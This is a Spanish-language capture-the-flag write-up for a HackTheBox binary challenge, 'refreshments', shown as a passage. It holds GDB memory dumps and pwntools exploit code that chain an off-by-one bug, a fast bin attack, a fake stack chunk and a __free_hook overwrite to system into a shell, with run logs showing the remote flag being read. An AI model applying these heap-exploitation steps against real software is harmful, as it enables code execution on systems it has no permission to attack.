0x7f80e3599b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7f80e3599b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f80e3599b70 <main_arena+80>: 0x0000000000000000 0x0000584c26762180
0x7f80e3599b80 <main_arena+96>: 0x0000584c267620c0 0x00007f80e3599b78
0x7f80e3599b90 <main_arena+112>: 0x00007f80e3599b78 0x00007f80e3599b88
0x7f80e3599ba0 <main_arena+128>: 0x00007f80e3599b88 0x00007f80e3599b98
0x7f80e3599bb0 <main_arena+144>: 0x00007f80e3599b98 0x00007f80e3599ba8
gef> x/20gx 0x7f80e3599b20 + 5
0x7f80e3599b25 <main_arena+5>: 0xaaaaaaaaaa000000 0x0000000000000061
0x7f80e3599b35 <main_arena+21>: 0x0000000000000000 0x0000000000000000
0x7f80e3599b45 <main_arena+37>: 0x4c267620c0000000 0x0000000000000058
0x7f80e3599b55 <main_arena+53>: 0x0000000000000000 0x0000000000000000
0x7f80e3599b65 <main_arena+69>: 0x0000000000000000 0x0000000000000000
0x7f80e3599b75 <main_arena+85>: 0x4c26762180000000 0x4c267620c0000058
0x7f80e3599b85 <main_arena+101>: 0x80e3599b78000058 0x80e3599b7800007f
0x7f80e3599b95 <main_arena+117>: 0x80e3599b8800007f 0x80e3599b8800007f
0x7f80e3599ba5 <main_arena+133>: 0x80e3599b9800007f 0x80e3599b9800007f
0x7f80e3599bb5 <main_arena+149>: 0x80e3599ba800007f 0x80e3599ba800007f
La manera de obtener un chunk de tamaño 0x21
es bastante sencilla con la vulnerabilidad off-by-one, así que aquí está la implementación:
edit(5, p64(glibc.sym.main_arena + 5))
create() # 6
edit(0, b'\0' * 0x58 + b'\x21')
edit(4, b'\0' * 0x18 + b'\x41')
delete(4)
create() # 7
En este punto, si las direcciones del heap comienzan con un byte válido que sirva como tamaño de chunk 0x61
, obtendremos un chunk cerca de la dirección del top chunk:
gef> stack
---------------------------------------------------------------- Stack top (lower address) ----------------------------------------------------------------
0x7fff30318240|+0x0000|+000: 0x0800000000000001
0x7fff30318248|+0x0008|+001: 0x0000000000000004
0x7fff30318250|+0x0010|+002: 0x000060c22ab89010 -> 0x0000000000000000
0x7fff30318258|+0x0018|+003: 0x0000000000000000
0x7fff30318260|+0x0020|+004: 0x0000000000000000
0x7fff30318268|+0x0028|+005: 0x000060c22ab89130 -> 0x0000000000000000
0x7fff30318270|+0x0030|+006: 0x0000000000000000
0x7fff30318278|+0x0038|+007: 0x000060c22ab890d0 -> 0x0000000000000000
0x7fff30318280|+0x0040|+008: 0x000060c22ab890d0 -> 0x0000000000000000
0x7fff30318288|+0x0048|+009: 0x00007f9b55b99b35 <main_arena+0x15> -> 0x0000000000000000
0x7fff30318290|+0x0050|+010: 0x0000000000000000
0x7fff30318298|+0x0058|+011: 0x0000000000000000
0x7fff303182a0|+0x0060|+012: 0x000060c1ead807e0 <__libc_csu_init> -> 0x8d4c5741fa1e0ff3
0x7fff303182a8|+0x0068|+013: 0x0fe41e75f9635900 <- canary
0x7fff303182b0|+0x0070|+014: 0x00007fff303183a0 -> 0x0000000000000001 <- $r13
0x7fff303182b8|+0x0078|+015: 0x0000000000000000
0x7fff303182c0|+0x0080|+016: 0x000060c1ead807e0 <__libc_csu_init> -> 0x8d4c5741fa1e0ff3
0x7fff303182c8|+0x0088|+017: 0x00007f9b5582074a <__libc_start_main+0xea> -> 0x48000153cfe8c789 <- retaddr[3] ($savedip)
-------------------------------------------------------------- Stack bottom (higher address) --------------------------------------------------------------
Ahora podemos modificar la dirección del top chunk y colocarla por encima de __malloc_hook
, porque hay valores útiles allí:
gef> x/gx &__malloc_hook
0x7f9b55b99b10 <__malloc_hook>: 0x0000000000000000
gef> x/70gx 0x7f9b55b99b10 - 0x200
0x7f9b55b99910 <_IO_2_1_stdin_+48>: 0x00007f9b55b99963 0x00007f9b55b99963
0x7f9b55b99920 <_IO_2_1_stdin_+64>: 0x00007f9b55b99964 0x0000000000000000
0x7f9b55b99930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7f9b55b99960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007f9b55b9b790
0x7f9b55b99970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f9b55b99980 <_IO_2_1_stdin_+160>: 0x00007f9b55b999c0 0x0000000000000000
0x7f9b55b99990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7f9b55b999a0 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000
0x7f9b55b999b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007f9b55b986e0
0x7f9b55b999c0 <_IO_wide_data_0>: 0x0000000000000000 0x0000000000000000
0x7f9b55b999d0 <_IO_wide_data_0+16>: 0x0000000000000000 0x0000000000000000
0x7f9b55b999e0 <_IO_wide_data_0+32>: 0x0000000000000000 0x0000000000000000
0x7f9b55b999f0 <_IO_wide_data_0+48>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99a00 <_IO_wide_data_0+64>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99a10 <_IO_wide_data_0+80>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99a20 <_IO_wide_data_0+96>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99a30 <_IO_wide_data_0+112>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99a40 <_IO_wide_data_0+128>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99a50 <_IO_wide_data_0+144>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99a60 <_IO_wide_data_0+160>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99a70 <_IO_wide_data_0+176>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99a80 <_IO_wide_data_0+192>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99a90 <_IO_wide_data_0+208>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99aa0 <_IO_wide_data_0+224>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99ab0 <_IO_wide_data_0+240>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99ac0 <_IO_wide_data_0+256>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99ad0 <_IO_wide_data_0+272>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99af0 <_IO_wide_data_0+304>: 0x00007f9b55b98260 0x0000000000000000
0x7f9b55b99b00 <__memalign_hook>: 0x00007f9b55879e00 0x00007f9b55879da0
0x7f9b55b99b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f9b55b99b20 <main_arena>: 0x0000000000000000 0x000060c22ab89060
0x7f9b55b99b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
Por ejemplo, podemos usar _IO_2_1_stdin_ + 112
, que contiene 0xffffffffffffffff
. Este es un valor válido de top chunk y está en una dirección alineada, así que no habrá problemas. Necesitamos exactamente 5 chunks para obtener uno sobre __malloc_hook
:
try:
edit(7, b'\0' * 3 + p64(0) * 8 + p64(glibc.sym._IO_2_1_stdin_ + 112))
for _ in range(5):
create()
except EOFError:
io.failure('Failed')
exit(1)
El bloque try
-except
sirve para capturar errores del Fast Bin attack.
En este punto podemos usar la rutina edit
para añadir una shell one_gadget
aquí, el tercero funciona:
one_gadget = glibc.address + (0x3f6be, 0x3f712, 0xd6701)[2]
edit(12, p64(0) * 6 + p64(one_gadget))
create() # 13
io.interactive()
Después de eso, simplemente llamamos a calloc
y obtendremos una shell:
$ while true; do python3 solve_works_local.py && break; echo; done
[*] './refreshments'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process './refreshments': pid 695181
[+] Glibc base address: 0x7e0de3200000
[-] Failed
[*] Process './refreshments' stopped with exit code -11 (SIGSEGV) (pid 695181)
[*] './refreshments'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process './refreshments': pid 695186
[+] Glibc base address: 0x7772b3800000
[*] Switching to interactive mode
$ whoami
rocky
Este exploit también funciona localmente con el Dockerfile
proporcionado. Sin embargo, parece que Docker también usa rangos de direcciones modernos, así que esto no implica que el exploit funcione en la instancia remota. De hecho, este exploit falla en remoto.
Remote exploit (Ubuntu 22.04)
Para resolver el reto remotamente, cambié a Ubuntu 22.04 y modifiqué el exploit. Con esta configuración, las direcciones de Glibc y los rangos de direcciones PIE/heap van de 0x7e**********
a 0x7f**********
y de 0x55**********
a 0x56**********
, respectivamente. Por lo tanto, se comportará de la misma manera que la instancia remota.
Probablemente, hay otro enfoque para resolver este reto, pero estaba obsesionado con el ataque Fast Bin, y eso es esencialmente lo que hice.
El problema principal era encontrar alguna región de memoria que contuviera un byte que pudiera servir para asignar un chunk válido de tamaño 0x61
. Escaneé varias veces la memoria de Glibc que era rw-
, memoria del heap, incluso memoria del loader. No encontré nada realmente útil. Incluso consideré usar el canario que se guarda en el TLS, con alguna posibilidad de que comenzara con 0x61
o similar, pero eso no es útil porque no hay nada allí:
gef> tls -n
$tls = 0x7f0b3c0ad700
------------------------------------------------------------------------------------------------------ TLS-0x80 ------------------------------------------------------------------------------------------------------
0x7f0b3c0ad680|+0x0000|+000: 0x0000000000000000
0x7f0b3c0ad688|+0x0008|+001: 0x00007f0b3be89420 <_nl_global_locale> -> 0x00007f0b3be849a0 <_nl_C_LC_CTYPE> -> 0x00007f0b3bc5554e <_nl_C_name> -> ...
0x7f0b3c0ad690|+0x0010|+002: 0x00007f0b3be8cae0 <_res@GLIBC_2.2.5> -> 0x0000000000000000
0x7f0b3c0ad698|+0x0018|+003: 0x0000000000000000
0x7f0b3c0ad6a0|+0x0020|+004: 0x00007f0b3bc3d8a0 <_nl_C_LC_CTYPE_tolower+0x200> -> 0x0000000100000000
0x7f0b3c0ad6a8|+0x0028|+005: 0x00007f0b3bc3dea0 <_nl_C_LC_CTYPE_toupper+0x200> -> 0x0000000100000000
0x7f0b3c0ad6b0|+0x0030|+006: 0x00007f0b3bc3e7a0 <_nl_C_LC_CTYPE_class+0x100> -> 0x0002000200020002
0x7f0b3c0ad6b8|+0x0038|+007: 0x0000000000000000
0x7f0b3c0ad6c0|+0x0040|+008: 0x0000000000000000
0x7f0b3c0ad6c8|+0x0048|+009: 0x00007f0b3be88b20 <main_arena> -> 0x0000000000000000
0x7f0b3c0ad6d0|+0x0050|+010: 0x0000000000000000
0x7f0b3c0ad6d8|+0x0058|+011: 0x0000000000000000
0x7f0b3c0ad6e0|+0x0060|+012: 0x0000000000000000
0x7f0b3c0ad6e8|+0x0068|+013: 0x0000000000000000
0x7f0b3c0ad6f0|+0x0070|+014: 0x0000000000000000
0x7f0b3c0ad6f8|+0x0078|+015: 0x0000000000000000
-------------------------------------------------------------------------------------------------------- TLS --------------------------------------------------------------------------------------------------------
$r8 0x7f0b3c0ad700|+0x0000|+000: 0x00007f0b3c0ad700 -> [loop detected]
0x7f0b3c0ad708|+0x0008|+001: 0x00007f0b3c0ac010 -> 0x0000000000000001
0x7f0b3c0ad710|+0x0010|+002: 0x00007f0b3c0ad700 -> [loop detected] <- $r8
0x7f0b3c0ad718|+0x0018|+003: 0x0000000000000000
0x7f0b3c0ad720|+0x0020|+004: 0x0000000000000000
0x7f0b3c0ad728|+0x0028|+005: 0x06be0c507e9b0900 <- canary
0x7f0b3c0ad730|+0x0030|+006: 0xab804d94cee9ebbc <- PTR_MANGLE cookie
0x7f0b3c0ad738|+0x0038|+007: 0x0000000000000000
0x7f0b3c0ad740|+0x0040|+008: 0x0000000000000000
0x7f0b3c0ad748|+0x0048|+009: 0x0000000000000000
0x7f0b3c0ad750|+0x0050|+010: 0x0000000000000000
0x7f0b3c0ad758|+0x0058|+011: 0x0000000000000000
0x7f0b3c0ad760|+0x0060|+012: 0x0000000000000000
0x7f0b3c0ad768|+0x0068|+013: 0x0000000000000000
0x7f0b3c0ad770|+0x0070|+014: 0x0000000000000000
0x7f0b3c0ad778|+0x0078|+015: 0x0000000000000000
Sin embargo, necesitaba verificar nuevamente porque no confiaba en encontrar otro enfoque, alguna técnica House of “Something” o lo que fuera. Al final, encontré esta región dentro del loader (ld-linux-x86-64.so.2
):
gef> x/20gx $libc + 0x5c1c20 - 0x20
0x7f0b3c0b0c00 <dyn_temp+32>: 0x0000000000000006 0x00007ffdd0db41c8
0x7f0b3c0b0c10 <dyn_temp+48>: 0x000000006ffffff0 0x00007ffdd0db438c
0x7f0b3c0b0c20 <dyn_temp+64>: 0x000000006ffffef5 0x00007ffdd0db4168
0x7f0b3c0b0c30 <dyn_temp+80>: 0x0000000000000000 0x0000000000000000
0x7f0b3c0b0c40 <dyn_temp+96>: 0x0000000000000000 0x0000000000000000
0x7f0b3c0b0c50 <dyn_temp+112>: 0x0000000000000000 0x0000000000000000
0x7f0b3c0b0c60 <start_time>: 0x0001128ede50b1bc 0x000000000002d30a
0x7f0b3c0b0c70 <__pointer_chk_guard_local>: 0xab804d94cee9ebbc 0x0000000000000000
0x7f0b3c0b0c80 <_dl_argv>: 0x00007ffdd0d866b8 0x0000000000000001
0x7f0b3c0b0c90: 0x0000000000000000 0x0000000000000000
gef> telescope 0x7f0b3c0b0c00 20 -n
0x7f0b3c0b0c00|+0x0000|+000: 0x0000000000000006
0x7f0b3c0b0c08|+0x0008|+001: 0x00007ffdd0db41c8 -> 0x0000000000000000
0x7f0b3c0b0c10|+0x0010|+002: 0x000000006ffffff0
0x7f0b3c0b0c18|+0x0018|+003: 0x00007ffdd0db438c -> 0x0002000200020000
0x7f0b3c0b0c20|+0x0020|+004: 0x000000006ffffef5
0x7f0b3c0b0c28|+0x0028|+005: 0x00007ffdd0db4168 -> 0x0000000100000003
0x7f0b3c0b0c30|+0x0030|+006: 0x0000000000000000
0x7f0b3c0b0c38|+0x0038|+007: 0x0000000000000000
0x7f0b3c0b0c40|+0x0040|+008: 0x0000000000000000
0x7f0b3c0b0c48|+0x0048|+009: 0x0000000000000000
0x7f0b3c0b0c50|+0x0050|+010: 0x0000000000000000
0x7f0b3c0b0c58|+0x0058|+011: 0x0000000000000000
0x7f0b3c0b0c60|+0x0060|+012: 0x0001128ede50b1bc
0x7f0b3c0b0c68|+0x0068|+013: 0x000000000002d30a
0x7f0b3c0b0c70|+0x0070|+014: 0xab804d94cee9ebbc <- PTR_MANGLE cookie
0x7f0b3c0b0c78|+0x0078|+015: 0x0000000000000000
0x7f0b3c0b0c80|+0x0080|+016: 0x00007ffdd0d866b8 -> 0x00007ffdd0d86b3d -> 0x77702f746f6f722f './refreshments'
0x7f0b3c0b0c88|+0x0088|+017: 0x0000000000000001
0x7f0b3c0b0c90|+0x0090|+018: 0x0000000000000000
0x7f0b3c0b0c98|+0x0098|+019: 0x0000000000000000
¡Tenemos 0x6f
! Y aún más, ¡tenemos punteros a vDSO (color rojo) y a la pila (color magenta)! Este será el chunk real:
gef> x/12gx $libc + 0x5c1c20 - 5
0x7f0b3c0b0c1b <dyn_temp+59>: 0xfffef500007ffdd0 0xdb4168000000006f
0x7f0b3c0b0c2b <dyn_temp+75>: 0x00000000007ffdd0 0x0000000000000000
0x7f0b3c0b0c3b <dyn_temp+91>: 0x0000000000000000 0x0000000000000000
0x7f0b3c0b0c4b <dyn_temp+107>: 0x0000000000000000 0x0000000000000000
0x7f0b3c0b0c5b <dyn_temp+123>: 0x50b1bc0000000000 0x02d30a0001128ede
0x7f0b3c0b0c6b <load_time+3>: 0xe9ebbc0000000000 0x000000ab804d94ce
No podremos obtener toda la dirección de la pila con la rutina de mostrar, sino solo los últimos 3 bytes. Sin embargo, esto no es un problema porque los primeros 3 bytes coinciden con las direcciones de vDSO:
gef> vmmap [
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000564b965a0000 0x0000564b965c1000 0x0000000000021000 0x0000000000000000 rw- [heap]
0x00007ffdd0d66000 0x00007ffdd0d87000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $rsp, $rbp, $rsi, $r13
0x00007ffdd0db0000 0x00007ffdd0db4000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffdd0db4000 0x00007ffdd0db6000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]
Así que, podemos obtener una fuga de memoria del stack, y tomar un offset al stack-frame que nos interesa:
gef> frame 2
#2 0x0000564b8121d55e in main ()
gef> stack
---------------------------------------- Stack top (lower address) ----------------------------------------
0x7ffdd0d86550|+0x0000|+000: 0x0600000000000001
0x7ffdd0d86558|+0x0008|+001: 0x0000000000000002
0x7ffdd0d86560|+0x0010|+002: 0x0000564b965a0010 -> 0x0000000000000000
0x7ffdd0d86568|+0x0018|+003: 0x0000000000000000
0x7ffdd0d86570|+0x0020|+004: 0x0000000000000000
0x7ffdd0d86578|+0x0028|+005: 0x0000564b965a0130 -> 0x0000000000000000
0x7ffdd0d86580|+0x0030|+006: 0x0000564b965a0070 -> 0x0000000000000000
0x7ffdd0d86588|+0x0038|+007: 0x0000564b965a00d0 -> 0x0000000000000000
0x7ffdd0d86590|+0x0040|+008: 0x0000000000000000
0x7ffdd0d86598|+0x0048|+009: 0x0000000000000000
0x7ffdd0d865a0|+0x0050|+010: 0x0000000000000000
0x7ffdd0d865a8|+0x0058|+011: 0x0000000000000000
0x7ffdd0d865b0|+0x0060|+012: 0x0000564b8121d7e0 <__libc_csu_init> -> 0x8d4c5741fa1e0ff3
0x7ffdd0d865b8|+0x0068|+013: 0x06be0c507e9b0900 <- canary
0x7ffdd0d865c0|+0x0070|+014: 0x00007ffdd0d866b0 -> 0x0000000000000001 <- $r13
0x7ffdd0d865c8|+0x0078|+015: 0x0000000000000000
0x7ffdd0d865d0|+0x0080|+016: 0x0000564b8121d7e0 <__libc_csu_init> -> 0x8d4c5741fa1e0ff3
0x7ffdd0d865d8|+0x0088|+017: 0x00007f0b3bb0f74a <__libc_start_main+0xea> -> 0x48000153cfe8c789 <- retaddr[3] ($savedip)
-------------------------------------- Stack bottom (higher address) --------------------------------------
gef> p/x 0x00007ffdd0d866b8 - 0x7ffdd0d86550
$3 = 0x168
Esta es la implementación, usando un ataque Fast Bin en esa dirección extraña:
edit(5, p64(glibc.address + 0x5c1c20 - 5))
create() # 6
create() # 7
data = show(7)
stack_addr = u64(data[-3:] + data[:5]) - 0x168
io.success(f'Stack address: {hex(stack_addr)}')
En este punto, el resto del exploit parecía ser pan comido, porque solo necesitamos asignar en la pila y modificar los punteros de ptr
para obtener una primitiva de lectura y escritura arbitraria que conduce fácilmente a ejecución arbitraria de código. Sin embargo, no había ningún byte que pudiera servir como tamaño válido para asignar un chunk de 0x61
con un ataque Fast Bin.
Entonces, si no hay tal byte, ¿hay alguna forma de colocarlo allí? ¡En realidad sí! Vamos a analizar la función olvidada read_num
:
unsigned __int64 read_num() {
_QWORD buf[6]; // [rsp+0h] [rbp-30h] BYREF
buf[5] = __readfsqword(0x28u);
memset(buf, 0, 32);
read(0, buf, 0x1Fu);
return strtoul((const char*) buf, 0, 0);
}
Tenemos un buffer de 32 bytes para colocar lo que queramos, entonces ¿por qué no introducir algo como "1\0...\x61"
? Con esto nos aseguramos de que la función devuelva 1
como número, y el resto del buffer se guarda en la pila, así que podemos usar ese 0x61
como tamaño para el ataque Fast Bin.
Dicho buffer se asigna algunos bytes por encima del stack-frame de main
:
gef> stack
--------------------------------------------------------------------------------------------- Stack top (lower address) ---------------------------------------------------------------------------------------------
0x7fffffffe6e0|+0x0000|+000: 0x0000000000000001
0x7fffffffe6e8|+0x0008|+001: 0x0000000000000000
0x7fffffffe6f0|+0x0010|+002: 0x0000000000000000
0x7fffffffe6f8|+0x0018|+003: 0x0000000000000000
0x7fffffffe700|+0x0020|+004: 0x0000000000000000
0x7fffffffe708|+0x0028|+005: 0x0000000000000000
0x7fffffffe710|+0x0030|+006: 0x0000000000000000
0x7fffffffe718|+0x0038|+007: 0x0000000000000000
0x7fffffffe720|+0x0040|+008: 0x0000000000000000
0x7fffffffe728|+0x0048|+009: 0x0000000000000000
0x7fffffffe730|+0x0050|+010: 0x0000000000000000
0x7fffffffe738|+0x0058|+011: 0x0000000000000000
0x7fffffffe740|+0x0060|+012: 0x00005555555557e0 <__libc_csu_init> -> 0x8d4c5741fa1e0ff3
0x7fffffffe748|+0x0068|+013: 0x689fe078442aac00 <- canary
0x7fffffffe750|+0x0070|+014: 0x00007fffffffe840 -> 0x0000000000000001 <- $r13
0x7fffffffe758|+0x0078|+015: 0x0000000000000000
0x7fffffffe760|+0x0080|+016: 0x00005555555557e0 <__libc_csu_init> -> 0x8d4c5741fa1e0ff3
0x7fffffffe768|+0x0088|+017: 0x00007ffff7a5b74a <__libc_start_main+0xea> -> 0x48000153cfe8c789 <- retaddr[1] ($savedip)
------------------------------------------------------------------------------------------- Stack bottom (higher address) -------------------------------------------------------------------------------------------
gef> x/20gx 0x7fffffffe6e0 - 0x40
0x7fffffffe6a0: 0x6161616161616161 0x6262626262626262
0x7fffffffe6b0: 0x6363636363636363 0x000a646464646464
0x7fffffffe6c0: 0x0000555555556030 0x689fe078442aac00
0x7fffffffe6d0: 0x00007fffffffe760 0x000055555555555e
0x7fffffffe6e0: 0x0000000000000001 0x0000000000000000
0x7fffffffe6f0: 0x0000000000000000 0x0000000000000000
0x7fffffffe700: 0x0000000000000000 0x0000000000000000
0x7fffffffe710: 0x0000000000000000 0x0000000000000000
0x7fffffffe720: 0x0000000000000000 0x0000000000000000
0x7fffffffe730: 0x0000000000000000 0x0000000000000000
Después de algunas pruebas, encontramos que podemos usar el lugar de 0x6363636363636363
para colocar 0x61
así:
delete(0)
delete(5)
edit(6, p64(stack_addr - 0x38))
create() # 8
create(option=b'1' + b'\0' * 15 + b'\x62')
Sin embargo, no podemos usar 0x61
porque calloc
borra la región de memoria, y resulta que elimina la dirección de retorno, por lo que el programa simplemente se cae.
Aquí me preguntaba si es posible decirle a calloc
que no borre la memoria. ¡Y es posible! Solo necesitamos indicar que es un chunk mapeado con mmap
(es decir, el segundo bit de los flags). Por ejemplo, podemos usar 0x62
.
De hecho, antes usé 0x6f
para el ataque Fast Bin, y no noté que el chunk no fue borrado. Ahora sé la razón. Este es el código fuente relevante.
Una vez que tenemos un chunk en la pila, es trivial obtener ejecución de código, porque tenemos lectura y escritura arbitraria. Podemos modificar un puntero en ptr
, como ptr[0]
, y establecer __free_hook
para que sea system
. Luego, podemos llamar a free
en un chunk que contenga la cadena "/bin/sh\0"
, de modo que ejecute system("/bin/sh")
en su lugar y obtengamos una shell:
data = show(9)[:0x38]
edit(9, data + p64(glibc.sym.__free_hook))
edit(0, p64(glibc.sym.system))
edit(8, b'/bin/sh\0')
delete(8)
io.interactive()
Con esto, obtenemos una shell localmente, y también en el contenedor de Docker:
$ python3 solve.py
[*] './refreshments'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process './refreshments': pid 470495
[+] Glibc base address: 0x7fc81d0d3000
[+] Stack address: 0x7ffce03ada20
[*] Switching to interactive mode
$ whoami
rocky
Flag
Con todo esto, podemos explotar el programa en la instancia remota y obtener la flag:
$ python3 solve.py 83.136.255.102 35513
[*] './refreshments'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to 83.136.255.102 on port 35513: Done
[+] Glibc base address: 0x7fbc1ad92000
[+] Stack address: 0x7ffdf47f81b0
[*] Switching to interactive mode
$ ls
flag.txt
glibc
refreshments
$ cat flag.txt
HTB{0ld_sch00l_t3chn1qu35_n3v3r_d13}
El código completo del exploit está aquí: solve.py
.